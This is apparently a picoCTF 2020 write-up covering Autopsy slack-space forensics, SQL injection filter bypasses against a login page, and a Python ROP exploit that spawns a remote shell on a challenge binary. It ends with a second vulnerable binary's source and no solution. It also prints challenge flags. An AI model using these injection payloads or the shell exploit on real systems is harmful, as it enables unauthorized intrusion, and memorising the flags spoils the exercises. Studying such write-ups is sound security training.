picoCTF 2020 Mini-Competition
{"author" : ["ret2basic"]}
Solved by ret2basic
Open the
.sda
file in Autopsy. Click "Keyword Search" and search for the keyword "suspicious". Here we find two files:suspicious-file.txt
suspicious-file.txt-slack
suspicious-file.txt
says:suspicious-file.txt Nothing to see here! But you may want to look here -->
------------------------------METADATA------------------------------
suspicious-file.txt-slack
says:suspicious-file.txt-slack }dc7079dd_3<_|Lm_111t5_3b{FTCocip
File slack is the difference between the physical file size and the logical file size. Autopsy creates slack files (with the
-slack
extension) from any extra space at the end of a file. These files can be displayed or hidden from the data sources area and/or the views area. Go to "Tools => Options => Global Settings => Hide slack files in the:" and unselect the options in this section.Reverse the string and get flag:
echo '}dc7079dd_3<_|Lm_111t5_3b{FTCocip' | rev
Solved by ret2basic
Can you beat the filters? Log in as admin http://jupiter.challenges.picoctf.org:44979/ http://jupiter.challenges.picoctf.org:44979/filter.php
If we enter
user:password
on the login page, the backend SQL query will be something like this:SELECT * FROM users WHERE username='user' AND password='solarwinds123';
Typically the very first payload for testing SQLi is
' or 1=1;--
, which results in the following SQL query:SELECT * FROM users WHERE username='' or 1=1;-- AND password='solarwinds123';
Here the leading
'
closes the username
field and anything comes after --
is considered as comment (hence ignored). Since ''
evaluates to False
and 1=1
evaluates to True
, the entire SQL statement always evaluates to True
.Filter:or
In this round, the boolean expression
or
is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named admin
, one possible payload without using or
is admin';--
. The corresponding SQL query is:SELECT * FROM users WHERE username='admin';--' AND password='solarwinds123';
The SQL query got executed is shown in the background:

Round 1 Done
Filter:or
and
like
=
--
For this round, simply remove the
--
from the payload for Round 1. The corresponding SQL query is:SELECT * FROM users WHERE username='admin';' AND password='solarwinds123';
This query is still semantically correct since
;
closes the statement SELECT * FROM users WHERE username='admin'
:
Round 2 Done
Filter:or
and
=
like
>
<
--
The payload for Round 2 works for this round as well:

Filter:or
and
=
like
>
<
--
admin
Since
admin
is filtered, we have to come up with another approach. A typical solution for such filter is the UNION attack. The UNION
keyword in SQL allows multiple SQL statements to be executed. For example:SELECT Alice, Bob FROM good_people UNION SELECT Eve, Mallory FROM bad_people
In our case, we could construct an UNION attack as the following:
SELECT * FROM users WHERE username='ret2basic' UNION SELECT * FROM users LIMIT 1;' AND password='solarwinds123';
However, this payload does not work since space is filtered. To bypass this filter, let's replace all spaces with
/**/
(empty comment is equivalent to space):SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';
This payload works:

Round 4 Done
Filter:or
and
=
like
>
<
--
union
admin
Since
union
is filtered in this round, we should switch back to the admin';--
idea. There are two things that need to be changed:- 1.Since
admin
is filtered, we could splitadmin
intoadm'||'in
, where||
is used for concatenating strings in SQL. - 2.Since
--
is filtered, we could replace;--
with/*
to comment out the things that we don't need.
The complete SQL query is:
SELECT * FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';
Now go grab your flag:

Round 5 Done
<?php
session_start();
if (!isset($_SESSION["round"])) {
$_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
if ($round === 1) {
$filter = array("or");
if ($view) {
echo "Round1: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 2) {
$filter = array("or", "and", "like", "=", "--");
if ($view) {
echo "Round2: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 3) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
// $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round3: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 4) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
// $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round4: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 5) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
// $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round5: ".implode(" ", $filter)."<br/>";
}
} else if ($round >= 6) {
if ($view) {
highlight_file("filter.php");
}
} else {
$_SESSION["round"] = 1;
}
// picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}
?>
Solved by ret2basic
all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln
The binary is statically linked, so things like ret2libc won't work.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
Note that the function
get_random()
does not return a random number at all since rand()
is unseeded. To confirm:#include <stdio.h>
#include <stdlib.h>
#define BUFSIZE 100
long get_random()
{
return rand() % BUFSIZE;
}
int main(int argc, char **argv)
{
printf("%ld\n", get_random());
}
The output is 83, no matter how many times you run it.
Also, pay attention to these two lines of the source code:
long ans = get_random(); // ans = 83
ans = increment(ans); // ans = 84
The correct answer to the question "What number would you like to guess?" should be 84.
Since the binary does not contain the string
"/bin/sh\x00"
, we have to construct a 2-stage exploit:- Stage 1: Build a ROP chain for writing the string
"/bin/sh\x00"
to a writable memory location. A common choice is the.bss
section. The address of.bss
can be found using Pwntoolself.bss()
method. - Stage 2: Do normal ret2syscall to execute
execve("/bin/sh\x00", 0, 0)
.
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch='amd64', os='linux')
elf = ELF("./vuln", checksec=False)
local = False
if local:
r = elf.process()
else:
host = 'jupiter.challenges.picoctf.org'
port = 26735
r = remote(host, port)
#--------ret2syscall--------#
offset = 120
pop_rax = 0x00000000004163f4
write_gadget = 0x000000000048dd71
bin_sh_address = elf.bss()
pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410ca3
pop_rdx = 0x000000000044a6b5
syscall = 0x000000000040137c
payload = flat(
b"A" * offset,
# Write the string "/bin/sh\x00" to .bss section
pop_rdx, "/bin/sh\x00",
pop_rax, bin_sh_address,
write_gadget,
# Call execve("/bin/sh\x00", 0, 0)
pop_rax, 0x3b,
pop_rdi, bin_sh_address,
pop_rsi, 0,
pop_rdx, 0,
syscall,
)
r.sendlineafter("What number would you like to guess?\n", '84')
r.sendlineafter("Name? ", payload)
r.interactive()
Solved by ret2basic
all:
gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c
clean:
rm vuln
The binary is dynamically linked this time, which makes ret2libc possible.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
Last modified 1yr ago